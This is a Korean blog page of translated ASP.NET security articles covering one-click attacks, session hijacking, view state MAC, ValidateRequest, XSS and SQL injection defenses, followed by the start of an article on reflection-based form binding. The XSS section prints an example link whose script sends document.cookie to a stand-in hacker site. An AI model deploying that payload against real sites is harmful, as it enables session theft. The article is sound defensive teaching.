Page_Load 이벤트에서 동작을 코딩하지 않으면 ASP.NET 페이지가 포스트백(postback) 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법이 없습니다. 포스트백(postback) 이벤트가 발생하려면 뷰 상태 필드가 반드시 필요합니다. ASP.NET은 요청의 포스트백(postback) 상태를 확인하고 _VIEWSTATE 입력 필드의 존재 여부에 따라 IsPostBack을 설정합니다. 따라서 ASP.NET 페이지에 위조된 요청을 보내려는 사람은 누구나 유효한 뷰 상태 필드를 제공해야 합니다.

한 번 클릭 공격이 작동하기 위해서는 해커에게 해당 페이지에 대한 액세스 권한이 있어야 합니다. 이를 예측한 해커는 해당 페이지를 로컬에 저장해 둡니다. 따라서 _VIEWSTATE 필드에 액세스해 이를 사용하여 이전 뷰 상태와 다른 필드의 악성 값이 있는 요청을 만들 수 있습니다. 이 공격은 성공할까요?

물론입니다. 공격자가 올바른 인증 쿠키를 제공하는 경우 해커가 침입하여 요청이 정식으로 처리됩니다. EnableViewStataMac이 해제된 경우 서버에서 뷰 상태 콘텐츠는 전혀 확인되지 않거나 변조 방지에 대해서만 확인됩니다. 기본적으로 뷰 상태에서는 해당 콘텐츠를 특정 사용자에게만 제한할 수 없습니다. 공격자는 해당 페이지에 합법적으로 액세스해서 얻은 뷰 상태를 쉽게 재사용하여 다른 사용자 대신 위조된 요청을 만들 수 있습니다. 이 문제를 해결하기 위해 필요한 것이 ViewStateUserKey입니다.

속성을 정확하게 선택한 경우 사용자 고유 정보가 뷰 상태에 추가됩니다. 요청이 처리되면 ASP.NET이 뷰 상태에서 키를 추출하여 이를 실행 중인 페이지의 ViewStateUserKey와 비교합니다. 두 속성이 일치하면 해당 요청은 적법한 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 속성의 유효 값은 무엇일까요?

ViewStateUserKey를 일정한 문자열로, 즉 모든 사용자에 동일하게 설정하는 것은 빈 상태로 두는 것과 같습니다. 이 속성은 사용자마다 다른 값, 즉 사용자 ID나 세션 ID로 설정해야 합니다. 여러 가지 기술 및 사회적인 이유로 인해 예측이 불가능하고 시간 초과가 있으며 사용자마다 다른 세션 ID가 보다 적합합니다.

다음은 모든 페이지에 있어야 하는 코드입니다.

void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; : } 

이 코드를 계속 다시 쓰지 않도록 하려면 Page 파생 클래스의 OnInit 가상 메서드에 이를 포함시킵니다. Page.Init 이벤트에서 이 속성을 설정해야 합니다.

protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; } 

저의 다른 기사인 더욱 탄탄한 기초 위에 ASP.NET 페이지 작성하기에서 설명한 것처럼 전반적으로 볼 때 항상 기본 페이지 클래스를 사용하는 것이 좋습니다. aspnetpro.com 에서 한 번 클릭 공격자의 기술에 대한 자세한 내용이 수록된 기사를 확인할 수 있습니다.

쿠키와 인증

쿠키는 개발자가 원하는 작업을 수행하는 데 도움이 됩니다. 쿠키는 브라우저와 서버 사이에서 일종의 영구 링크로 동작합니다. 특히 Single Sign-On을 사용하는 응용 프로그램의 경우 공격자는 쿠키를 알아냄으로써 공격을 수행할 수 있습니다. 한 번 클릭 공격의 경우가 특히 그러합니다.

쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 만들고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우에는 암시적으로 쿠키를 사용합니다. 물론 ASP.NET은 쿠키를 사용하지 않는 세션 상태를 지원하며 ASP.NET 2.0도 쿠키를 사용하지 않는 양식 인증을 도입했습니다. 따라서 이론적으로는 쿠키를 사용하지 않고도 해당 기능을 사용할 수 있습니다. 그러나 이 경우 공격을 위해 쿠키를 사용하지 않는 것이 쿠키를 사용하는 것보다 더 위험할 수 있습니다. 실제로 쿠키를 사용하지 않은 세션에서는 세션 ID가 URL에 포함되므로 모든 사람이 볼 수 있습니다.

쿠키를 사용하는 경우 발생할 수 있는 문제는 무엇일까요? 쿠키는 도난당하여 해커의 시스템에 복사될 수 있으며 악성 데이터로 채워진 상태가 될 수 있습니다. 이를 시작으로 공격이 감행되는 경우가 많습니다. 도난당한 인증 쿠키가 사용자를 대신해서 외부 사용자에게 응용 프로그램에 연결하고 보호된 페이지를 사용하도록 "권한을 부여"하면, 해커는 인증 과정을 무시하고 해당 사용자에게만 허용된 역할과 보안 설정을 수행할 수 있습니다. 이러한 이유로 인증 쿠키는 보통 비교적 짧은 시간 동안(30분)만 부여됩니다. 따라서 브라우저의 세션이 완료되는 데 이보다 오랜 시간이 걸리더라도 쿠키는 만료됩니다. 쿠키가 유출되는 경우 해커는 30분 동안 창에서 공격을 시도할 수 있습니다.

너무 자주 로그온하지 않도록 하기 위해 이 창을 연장 사용할 수는 있지만 여기에는 위험 부담이 따름을 기억하십시오. 어떠한 경우에도 ASP.NET 영구 쿠키는 사용하지 마십시오. 영구 쿠키를 사용하면 사실상 쿠키의 수명이 영구적으로(50년까지) 연장됩니다. 아래의 코드 조각을 참고하여 여유가 있을 때 쿠키 만료를 수정해 보십시오.

void OnLogin(object sender, EventArgs e) { // 자격 증명 검사 if (ValidateUser(user, pswd)) { // 쿠키 만료일 설정 HttpCookie cookie; cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); if (isPersistent) cookie.Expires = DateTime.Now.AddDays(10); // 응답에 쿠키 추가 Response.Cookies.Add(cookie); // 리디렉션 string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); Response.Redirect(targetUrl); } }(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

자신의 로그인 양식에서 이 코드를 사용하면 인증 쿠키의 수명을 정밀 조정할 수 있습니다.

세션 가로채기

쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 해당 세션의 ID는 요청과 함께 이동하는 쿠키에 저장되어 해당 브라우저 컴퓨터에 저장됩니다. 다시 말하지만 세션 쿠키가 유출되는 경우 해커가 해당 시스템으로 침입하여 다른 사용자의 세션 상태에 액세스하는 데 사용될 수 있습니다. 이러한 현상은 지정된 세션이 활성 상태인 동안(보통 20분 미만)에만 발생 가능합니다. 이렇게 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 가로채기라고 합니다. 세션 가로채기에 대한 자세한 내용은 Theft On The Web: Prevent Session Hijacking 을 참조하십시오.

이러한 공격은 얼마나 위험해질 수 있을까요? 대답하기가 어렵군요. 해당 웹 사이트에서 수행하는 작업, 그리고 보다 중요하게는 해당 페이지의 디자인 방법에 따라 차이가 있습니다. 예를 들어 다른 사람의 세션 쿠키를 알아내서 이를 해당 사이트에 있는 페이지에 대한 요청에 첨부할 수 있다고 가정해 보십시오. 페이지를 로드하여 해당 일반 사용자 인터페이스를 통해 작업할 수 있습니다. 페이지에 코드를 주입할 수 없으며, 해당 페이지에서 다른 사용자의 세션 상태를 사용하여 현재 작업 중인 내용을 제외하고 페이지 내용을 변경할 수도 없습니다. 이는 그 자체로는 나쁠 것이 없지만 세션의 정보가 중요한 경우 해커가 이를 바로 공격에 악용할 수 있습니다. 해커는 세션 저장소의 콘텐츠를 검색할 수는 없지만 합법적으로 로그인한 것처럼 저장된 내용을 사용할 수는 있습니다. 예를 들어 사용자가 사이트를 검색하면서 쇼핑 카트에 품목을 추가하는 전자 상거래 응용 프로그램을 가정해 보십시오.

  • 시나리오 1. 쇼핑 카트의 내용이 세션 상태에 저장됩니다. 체크 아웃하면 이 내용을 확인하고 보안 SSL 연결을 통해 지불 내역을 입력하도록 사용자에게 요청합니다. 이 경우 다른 사용자의 세션 상태에 연결해도 해커는 공격 대상의 쇼핑 선호도에 대한 정보만을 일부 알 수 있을 뿐입니다. 이러한 상황에서는 가로채기가 수행되어도 실제로는 아무런 손실이 없으며 정보의 기밀 유지에만 위험이 존재합니다.
  • 시나리오 2. 응용 프로그램이 등록된 각 사용자의 프로필을 처리하여 세션 상태에 저장합니다. 그런데 이 프로필에는 신용 카드 정보가 포함되어 있습니다. 왜 세션에 사용자 프로필 세부 정보를 저장할까요? 이는 십중팔구 이 응용 프로그램의 목표 중 하나가 사용자가 자신의 신용 카드 및 은행 정보를 계속 반복해서 입력하지 않도록 하는 것이기 때문입니다. 그러므로 체크 아웃하면 응용 프로그램은 내용이 미리 채워진 필드가 있는 페이지로 사용자를 이동시킵니다. 이러한 필드 중 하나에는 세션 상태에서 가져온 신용 카드 번호가 나와 있습니다. 결과는 말씀 안 드려도 아시겠죠?

응용 프로그램 페이지의 디자인은 세션 가로채기 공격을 막는 데 중요합니다. 그러나 두 가지 질문이 아직 남아 있습니다. 즉, 쿠키 도난을 막는 방법과 가로채기를 감지 및 차단하기 위해 ASP.NET에서 수행하는 작업입니다.

ASP.NET 세션 쿠키는 아주 간단하며 세션 ID 문자열만을 포함하도록 제한되어 있습니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출해서 이를 활성 세션에 대해 검사합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하여 작업을 계속 진행합니다. 이러한 동작으로 인해 해커가 유효한 세션 ID를 훔치거나 알아낸 경우 매우 간단하게 공격을 할 수 있습니다.

클라이언트 PC에 대한 무단 액세스뿐 아니라 XSS 및 "man-in-the-middle" 공격을 통해서도 유효한 쿠키를 가져올 수 있습니다. 쿠키 도난을 방지하려면 XSS와 모든 변종 방식이 성공하지 못하도록 최적의 방식으로 보안을 구현해야 합니다.

대신, 세션 ID 추측을 방지할 때는 자신의 기술을 과대 평가하지만 않으면 됩니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET에서 사용하는 알고리즘(15개의 난수가 URL 사용 문자로 매핑됨)의 경우 우연히 유효한 ID를 추측할 가능성은 거의 없다고 할 수 있습니다. 따라서 기본 세션 ID 생성기를 자신이 사용하는 세션 ID 생성기로 바꿔야 할 이유는 없습니다. 그렇게 하면 대부분의 경우 공격에 더 취약해집니다.

세션 가로채기의 보다 심각한 문제는 공격자가 쿠키를 훔치거나 추측한 후에는 ASP.NET에서 쿠키의 악용을 감지할 수 있는 방법이 거의 없다는 것입니다. 그 이유는 ASP.NET의 역할이 ID의 유효성을 확인하고 쿠키의 출처를 묻는 것으로 제한되어 있기 때문입니다.

저의 Wintellect 동료인 Jeff Prosise가 MSDN Magazine에 세션 가로채기에 관한 훌륭한 기사를 썼습니다. 훔친 세션 ID 쿠키를 사용하는 공격을 완벽하게 방어하는 것은 사실상 불가능하다는 그의 결론은 다소 허탈한 것이 사실이지만, Jeff가 개발한 코드는 보다 높은 수준의 보안을 구축하는 데 도움이 됩니다. Jeff는 세션 ID 쿠키에 대한 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 이 쿠키를 다시 사용하는 것을 어렵게 만듭니다. 자세한 내용은 여기서 확인할 수 있습니다.

EnableViewStateMac

뷰 상태는 같은 페이지에 대한 두 개의 연속 요청 간에 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 Base64를 사용하여 인코딩되며 변조 방지를 위해 해시 값으로 서명되어 있습니다. 기본 페이지 설정을 변경하지 않는 한 뷰 상태가 변조될 위험은 없습니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 만드는 경우에도 ASP.NET은 그러한 시도를 감지하고 예외를 발생시킵니다. 변조된 뷰 상태가 서버 컨트롤의 상태를 수정하기는 해도 꼭 위험한 것은 아니지만, 심각한 감염의 수단이 될 수는 있습니다. 그러므로 기본적으로 발생하는 MAC(시스템 인증 코드) 교차 확인을 제거하지 않는 것이 좋습니다. 그림 2를 참조하십시오.

그림 2. EnableViewStateMac가 설정되어 있을 때 뷰 상태를 본질적으로 변조 방지 상태로 만들기

MAC 확인이 설정되어 있으면(기본값임) serialize된 뷰 상태에는 일부 서버쪽 값 및 뷰 상태 사용자 키(있을 경우)에서 가져온 해시 값이 추가됩니다. 이 뷰 상태가 포스트백(postback)되면 해시 값은 새 서버쪽 값을 사용하여 다시 계산된 후 저장된 값과 비교됩니다. 두 값이 일치하면 해당 요청은 올바른 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 제거하고 다시 만들 수 있더라도 올바른 해시를 제공하려면 서버 저장 값을 알아야 합니다. 특히 machine.config의 <machineKey> 항목에서 참조되는 시스템 키를 알고 있어야 합니다.

기본적으로 <machineKey> 항목은 자동 생성되며 Windows LSA(로컬 보안 기관)에 실제로 저장됩니다. 뷰 상태의 시스템 키가 모든 시스템에서 동일해야 하는 웹 팜의 경우에만 이 항목을 machine.config 파일에서 일반 텍스트로 지정해야 합니다.

뷰 상태 MAC 확인은 @Page 지시문 특성인 EnableViewStateMac에 의해 제어됩니다. 이 특성은 기본적으로 true로 설정되어 있습니다. 이를 해제하지 마십시오. 해제하는 경우에는 뷰 상태 변조 한 번 클릭 공격이 성공할 가능성이 매우 높아집니다.

ValidateRequest

교차 사이트 스크립팅(XSS)은 1999년 이래로 뛰어난 개발자들이 줄기차게 대응해 온 공격 유형입니다. 간단히 말하자면, XSS는 코드의 허점을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 삽입합니다. 삽입된 코드는 실행될 경우 다음 번에 사용자가 페이지로 돌아오면 악성 코드가 다시 실행되도록 여러 가지 작업을 실행합니다. 여기에는 쿠키를 훔쳐 복사본을 해커가 제어하는 웹 사이트로 업로드하고, 사용자의 웹 세션을 모니터링하여 데이터를 전달하고, 해킹한 페이지에 잘못된 정보를 제공하여 동작과 모양을 수정하고, 코드 자체를 영구적으로 만드는 등의 작업이 포함됩니다. XSS 공격의 기본 사항에 대한 자세한 내용은 TechNet 기사 Cross-site Scripting Overview 를 참조하십시오.

XSS 공격을 가능하게 하는 코드의 허점은 무엇일까요?

동적으로 HTML 페이지를 생성하며 해당 페이지로 반향되는 입력의 유효성을 확인하지 않는 웹 응용 프로그램이 XSS의 공격 목표가 됩니다. 여기서 입력이란 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다. 이러한 내용이 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다.앞에서 언급한 한 번 클릭 공격도 XSS의 최신 변종입니다. 일반적인 XSS 공격을 수행하려면 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 잘못된 링크를 클릭하여 이동해야 합니다. 그러면 악성 코드가 취약한 페이지로 전송되어 출력됩니다. 다음은 이러한 공격 결과의 예입니다.

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">Click to claim your prize</a> 

사용자가 외관상 안전해 보이는 링크를 클릭하면 해당 사용자의 컴퓨터에 있는 모든 쿠키를 유출해 해커 웹 사이트의 페이지로 전송하는 스크립트 코드가 취약한 페이지로 전달됩니다.

XSS는 공급업체만의 문제가 아니며, Internet Explorer의 허점만을 이용하는 것도 아닙니다. 현재 유통되고 있는 모든 웹 서버와 브라우저에 영향을 줄 수 있습니다. 또한 보다 심각한 것은 이를 수정하기 위한 단일 패치가 없다는 것입니다. 그럼에도 특수한 방법과 올바른 코딩 작업을 적용하면 XSS로부터 페이지를 보호할 수 있습니다. 또한, 사용자가 링크를 클릭하지 않아도 공격자는 공격을 시작할 수 있음을 주의해야 합니다.

XSS를 방지하려면 우선 올바른 입력을 확인하여 받아들이고 나머지는 모두 거부해야 합니다. XSS 공격을 방지하기 위한 상세한 검사 목록은 Microsoft의 필독 도서인 Writing Secure Code(Michael Howard/David LeBlanc 공저)에 나와 있습니다. 특히 13장을 주의 깊게 읽어 보십시오.

잠행성 XSS 공격을 차단하는 주된 방법은 입력 데이터 형식에 관계없이 입력에 견고하고 뛰어난 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 이 추가 과정을 거치지 않으면 일반적으로는 무해한 RGB 색이 제어되지 않은 스크립트를 페이지로 직접 가져올 수 있는 상황 도 있습니다.

ASP.NET 1.1에서는 @Page 지시문의 ValidateRequest 특성이 설정되어 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에서 위험할 수 있는 HTML 태그를 전송하지 않는지 확인합니다. 이와 같은 전송이 감지되면 예외가 발생하고 해당 요청은 중단됩니다. 이 특성은 기본적으로 설정되어 있으므로 보호를 위해 따로 작업을 수행할 필요가 없습니다. HTML 태그를 전달하도록 허용하려면 이 특성을 해제해야 합니다.

<%@ Page ValidateRequest="false" %> 

그러나 ValidateRequest는 완벽한 방어 기능이 아니며 효과적인 유효성 검사 계층을 대체할 수도 없습니다. 여기  있는 자료를 읽어 보면 이 기능이 실제로 작동하는 방법에 대한 유용한 정보를 얻을 수 있습니다. 이 기능은 기본적으로 정규식을 적용하여 일부 유해할 수 있는 시퀀스를 잡아냅니다.

참고   ValidateRequest 기능에는 원래 결함이 있습니다 . 이 기능이 예상대로 작동하도록 하려면 패치 를 적용해야 합니다. 이는 유용한 정보이지만 간과되는 경우가 많았습니다. 저도 지금에야 제 컴퓨터 중 한 대에 아직 이 결함이 있다는 것을 알았습니다. 당장 점검해 보십시오.

ValidateRequest는 설정된 상태로 유지하면 됩니다. 해제해도 되지만 합당한 이유가 있어야 합니다. 보다 나은 서식 지정 옵션을 사용하기 위해 사용자가 사이트에 HTML을 게시할 수 있어야 하는 경우를 한 예로 들 수 있습니다. 이 경우에도 허용되는 HTML 태그(<pre>, <b>, <i>, <p>, <br>, <hr>) 수를 제한하고 그 외에 다른 태그는 허용되거나 수락되지 않도록 하는 정규식을 작성해야 합니다.

다음은 XSS로부터 ASP.NET 응용 프로그램을 보호하는 데 도움이 되는 몇 가지 팁입니다.

  • HttpUtility.HtmlEncode를 사용하여 보안상 위험한 기호를 해당 HTML 표현으로 변환합니다.
  • HTML 인코딩에서는 큰따옴표만 이스케이프되므로 작은따옴표 대신 큰따옴표를 사용합니다.
  • 코드 페이지에서 사용할 수 있는 문자 수를 제한하도록 합니다.

요약하자면, ValidateRequest 특성을 사용하되 완전히 믿지는 말고 항상 확인하십시오. 시간을 할애하여 XSS와 같은 보안 위협을 근본적으로 이해하고, 모든 사용자 입력을 의심하는 습관을 들여 한 가지 핵심 사항을 중심으로 하는 방어 전략을 계획하십시오.

데이터베이스 관점

SQL 주입은 또 하나의 잘 알려진 공격 형태로, 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 만드는 응용 프로그램을 공격합니다. 응용 프로그램이 양식 필드에서 사용자가 입력한 내용을 사용하여 SQL 명령 문자열을 만드는 경우, 악의적인 사용자가 해당 페이지에 액세스하여 악성 매개 변수를 입력해 쿼리 특성을 수정할 수 있는 위험이 있습니다. SQL 주입에 대한 자세한 내용은 여기 에 나와 있습니다.

다양한 방식으로 SQL 주입 공격을 막을 수 있습니다. 가장 일반적으로 사용되는 기술은 다음과 같습니다.

  • 모든 사용자 입력이 적절한 형식으로 되어 있고 예상 패턴(우편 번호, SSN, 전자 메일 주소)을 따르는지 확인합니다. 텍스트 상자에 숫자를 입력해야 하는 경우 사용자가 숫자로 변환할 수 없는 내용을 입력하면 요청을 차단합니다.
  • 매개 변수화된 쿼리를 사용하거나 저장 프로시저(권장)를 사용합니다.
  • SQL Server 사용 권한을 사용하여 데이터베이스에서 각 사용자가 수행할 수 있는 작업을 제한합니다. 예를 들어 xp_cmdshell을 해제하거나 관리자만 사용할 수 있도록 제한할 수 있습니다.

저장 프로시저를 사용하면 공격을 받을 가능성이 상당히 줄어듭니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 SQL Server에서는 지정된 형식에 대해 모든 매개 변수의 유효성을 검사합니다. 이것만으로는 완벽하게 안전한 기술이라고 할 수 없지만, 유효성 검사를 함께 사용하면 안전성이 보다 높아집니다.

더 나아가 테이블 삭제 등과 같이 손실이 클 수 있는 작업은 권한이 있는 사용자만 수행할 수 있도록 해야 합니다. 이를 위해서는 응용 프로그램 중간 계층을 주의해서 디자인해야 합니다. 역할을 중심으로 하는 디자인이 좋습니다. 이는 보안 때문만은 아닙니다. 사용자를 역할별로 그룹으로 묶어서 각 역할에 대해 최소한 권한 집합만을 가진 계정을 정의합니다.

몇 주 전에 Wintellect 웹 사이트가 복잡한 형태의 SQL 주입 공격을 받았습니다. 해커가 FTP 스크립트를 만들고 실행하여 실행 파일을 다운로드(악의적인지는 모르겠군요)하려고 했습니다. 다행히도 공격은 실패했습니다. 공격을 막은 것은 강력한 입력 유효성 검사, 저장 프로시저 사용 및 SQL Server 권한 사용 덕분이 아닐까요.

원치 않는 SQL 코드 주입을 피하려면 아래의 지침을 따르십시오.

  • 최소한의 권한만으로 실행하고 코드를 "sa"로서 실행하지 않아야 합니다.
  • 기본 제공 저장 프로시저에 대한 액세스를 제한합니다.
  • SQL의 매개 변수화된 쿼리를 적극 사용합니다.
  • 문자열 연결을 통해 문을 만들지 않으며 데이터베이스 오류를 반향하지 않습니다.

숨겨진 필드

이전의 ASP에서는 숨겨진 필드를 통해서만 요청 간에 데이터를 유지할 수 있었습니다. 다음 번 요청에서 가져와야 하는 데이터는 숨겨진 <input> 필드로 압축되어 왕복됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 일반 텍스트의 경우 서버쪽 환경에서는 이를 해결할 방법이 없습니다. 페이지와 개별 컨트롤의 ASP.NET ViewState 속성에는 다음 두 가지 목적이 있습니다. 첫 번째는 ViewState를 통해 요청 간에 상태를 유지하는 것이고, 두 번째는 보호된 변조 방지 숨겨진 필드에서 사용자 지정 값을 저장하는 것입니다.

그림 2와 같이 변조를 감지하기 위해 모든 요청에서 확인되는 해시 값이 뷰 상태에 추가됩니다. 몇 가지 경우를 제외한다면 ASP.NET에서는 숨겨진 필드를 사용하지 않아도 됩니다. 같은 작업이라도 뷰 상태가 훨씬 더 안전한 방법으로 작업을 수행하기 때문입니다. 가격이나 신용 카드 정보 같은 중요한 값을 일반 숨겨진 필드에 저장하는 것은 해커의 침입을 위해 문을 열어 주는 것이나 다름없습니다. 뷰 상태를 사용하면 해당 데이터 보호 메커니즘으로 인해 이러한 잘못된 작업의 위험도 줄일 수가 있습니다. 그러나 뷰 상태가 변조를 방지하기는 하지만 암호화하지 않는 한 신뢰성을 보장하지는 못하므로, 신용 카드 정보를 뷰 상태에 저장하는 것 역시 위험합니다.

ASP.NET에서 숨겨진 필드를 사용할 수 있는 경우는 서버로 데이터를 다시 보내야 하는 사용자 지정 컨트롤을 빌드할 때입니다. 예를 들어 열 순서 재지정을 지원하는 DataGrid 컨트롤을 새로 만드는 경우가 있습니다. 포스트백(postback)에서 새 순서를 다시 서버로 전달해야 합니다. 이때 이 정보를 숨겨진 필드에 저장합니다.

숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 이 필드에 쓸 수 있는 경우에는 해킹 방지를 위해 할 수 있는 일은 거의 없습니다. 텍스트를 해시하거나 암호화할 수 있지만 이를 통해 해킹이 완벽하게 방지된다고는 확신할 수 없습니다. 가장 좋은 방어 수단은 숨겨진 필드에 비활성 및 무해한 정보만 포함되도록 하는 것입니다.

ASP.NET에서는 serialize된 모든 개체를 인코딩 및 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 제공합니다. 이는 LosFormatter 클래스로, ViewState 구현에서 클라이언트로 왕복되는 인코딩된 텍스트를 만드는 데 사용하는 것과 동일한 클래스입니다.

private string EncodeText(string text) { StringWriter writer = new StringWriter(); LosFormatter formatter = new LosFormatter(); formatter.Serialize(writer, text); return writer.ToString(); }

앞에 나와 있는 코드 조각에서는 LosFormatter를 사용하여 뷰 상태와 비슷하고 인코딩 및 해시된 콘텐츠를 만드는 방법을 보여 줍니다.

전자 메일과 스팸

마지막으로 언급하자면, 최소한 가장 일반적인 두 가지 공격(일반 XSS와 한 번 클릭)은 의심하지 않는 공격 대상에게 스푸핑된 유인 링크를 클릭하도록 하는 방법으로 수행되는 경우가 많습니다. 스팸 방지 필터 기능을 사용하고 있음에도 불구하고 받은 편지함에서 그러한 링크가 들어 있는 메일을 여러 번 발견했습니다. 대량의 전자 메일 주소 목록을 쉽게 구입할 수 있습니다. 그러한 목록을 만드는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 것은 모두 찾아 수집해 오는 것입니다.

페이지에 전자 메일 주소가 표시되어 있으면 웹 로봇으로 언제든지 가져올 수 있습니다. 정말이냐구요? 이는 전자 메일 주소 표시 방법에 따라 달라집니다. 주소를 하드 코드로 입력했다면 수집될 가능성이 높습니다. dino-at-microsoft-dot-com 등의 대체 표현을 사용하는 경우에는 웹 로봇이 주소를 수집하지 못하는지도 확실치 않을 뿐더러 적법한 연락처를 지정하려는 사용자도 페이지를 읽을 때 불편할 것입니다.

무엇보다도 전자 메일 주소를 mailto 링크처럼 동적으로 생성할 수 있는 방법을 찾아야 합니다. 이는 Marco Bellinaso가 작성한 무료 구성 요소를 통해 수행할 수 있습니다. 전체 소스 코드가 포함된 이 구성 요소를 DotNet2TheMax  웹 사이트에서 받을 수 있습니다.

요약

의심할 여지 없이 모든 런타임 환경 중 가장 위험한 환경은 웹일 것입니다. 누구나 웹 사이트에 액세스하여 올바른 데이터와 악의적인 데이터를 전달할 수 있기 때문입니다. 그러나 이를 방지하기 위해 사용자 입력을 받아들이지 않는 웹 응용 프로그램을 만드는 것도 의미가 없습니다.

그러므로 아무리 강력한 방화벽을 사용하고 자주 패치를 적용해도 본질적으로 취약한 웹 응용 프로그램을 실행한다면 공격자는 주 출입문(포트 80)을 통해 시스템으로 진입할 수 있습니다.

ASP.NET 응용 프로그램도 다른 웹 응용 프로그램보다 더 취약하지도, 안전하지도 않습니다. 코딩 방법, 현장 경험 및 팀워크에 따라 응용 프로그램이 안전해질 수도 있고 취약해질 수도 있습니다. 네트워크가 안전하지 않다면 어떤 응용 프로그램도 안전하지 않습니다. 마찬가지로, 네트워크를 안전하게 잘 관리하더라도 응용 프로그램에 결함이 있으면 공격자가 침입할 것입니다.

ASP.NET의 장점은 여러 과정을 거쳐야 통과가 가능한 높은 수준의 보안을 구축할 수 있는 뛰어난 도구를 제공한다는 것입니다. 그래도 아직은 충분한 수준이 아닙니다. ASP.NET의 기본 제공 솔루션을 무시해서도 안 되겠지만 전적으로 의지하지는 마십시오. 그리고 일반적인 공격에 대해 가능한 한 많은 정보를 파악하십시오.

이 기사에는 기본 제공 기능에 대한 자세한 목록과 공격 및 방어에 대한 몇 가지 배경 정보가 나와 있습니다. 진행 중인 공격을 감지하는 기술은 다른 기사에서 확인해 보시기 바랍니다.

관련 리소스

Writing Secure Code(Michael Howard/David LeBlanc 공저)

TechNet Magazine, Theft On The Web: Prevent Session Hijacking 




Posted by tornado
|

리플렉션을 사용하여 비즈니스 개체를 ASP.NET 폼 컨트롤에 바인딩

John Dyer
Dallas Theological Seminary

적용 대상:
   Microsoft Visual Studio 2005 및 이전 버전
   ASP.NET 1.1
   C# 프로그래밍 언어
   Visual Basic 프로그래밍 언어

요약: 리플렉션을 사용하여 단 한 줄의 코드로 비즈니스 개체를 ASP.NET Web Forms에 바인딩하면 복잡한 작업이 단순해지고 오류가 줄어듭니다.

MSDFormBinding.msi 샘플 파일을 다운로드하십시오.

목차

소개
양식 코드 단순화 및 단축
시작하기: 리플렉션에서 속성 목록 검색
개체 속성 값을 컨트롤에 바인딩
알려진 속성을 사용하여 알려지지 않는 컨트롤 값 설정
프로세스를 반대로 수행: BindControlsToObject
성능 및 FormBinding 스키마 확장
결론

소개

웹 개발자가 반복적으로 수행하는 가장 일상적인 작업 중 하나는 데이터베이스 테이블을 업데이트하는 간단한 폼을 작성하는 것입니다. 웹 개발자는 테이블의 레코드를 표시하는 목록 페이지와 각 데이터베이스 필드에 대한 적절한 폼 컨트롤이 있는 폼 페이지를 만듭니다. 또한 대부분의 개발자는 데이터베이스 테이블을 나타내는 비즈니스 개체를 사용하여 코드를 다계층 디자인으로 구성합니다. 비즈니스 개체(Document)가 데이터베이스 테이블(Documents)을 나타내는 경우 대부분의 폼은 아래 코드와 같습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

<script runat="server">protected void Page_Load(Object Src, EventArgs E) {if (!IsPostBack) {   Document document =         Documents.GetDocument(Request.QueryString["DocumentID"]);   Title.Text = document.Title;   Active.Checked = document.Active;   CreatedDate.Text = document.CreatedDate.ToString();   AuthorID.FindByValue(document.AuthorID.ToString()).Selected =         true;   // ... 기타 등등   HtmlBody.Text = document.HtmlBody;}}protected void SaveButton_Click(Object Src, EventArgs E) {   Document document =         Documents.GetDocument(Request.QueryString["DocumentID"]);   document.Title = Title.Text;   document.Active = Active.Checked;   document.CreatedDate = Convert.ToDateTime(CreatedDate.Text);   document.AuthorID = Convert.ToInt32(AuthorID.SelectedItem.Value);   // ... 기타 등등   document.HtmlBody = HtmlBody.Text;   Documents.Update(document);}</script>(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

양식 코드 단순화 및 단축

위 코드에서 각 컨트롤은 명시적으로 캐스팅되어 폼 컨트롤의 올바른 속성으로 설정됩니다. 속성 및 폼 컨트롤 수에 따라서 이 코드 부분은 길이가 길어져 관리하기가 어려울 수 있습니다. 이 코드는 또한 형식 변환과 ListControl을 위한 오류 수정을 포함해야 하므로 더욱 복잡해집니다. 코드 생성 도구(예: Eric J. Smith의 뛰어난 CodeSmith )를 사용하여 폼을 만들어도 사용자 지정 논리가 필요한 경우에는 오류가 포함되기 쉽습니다.

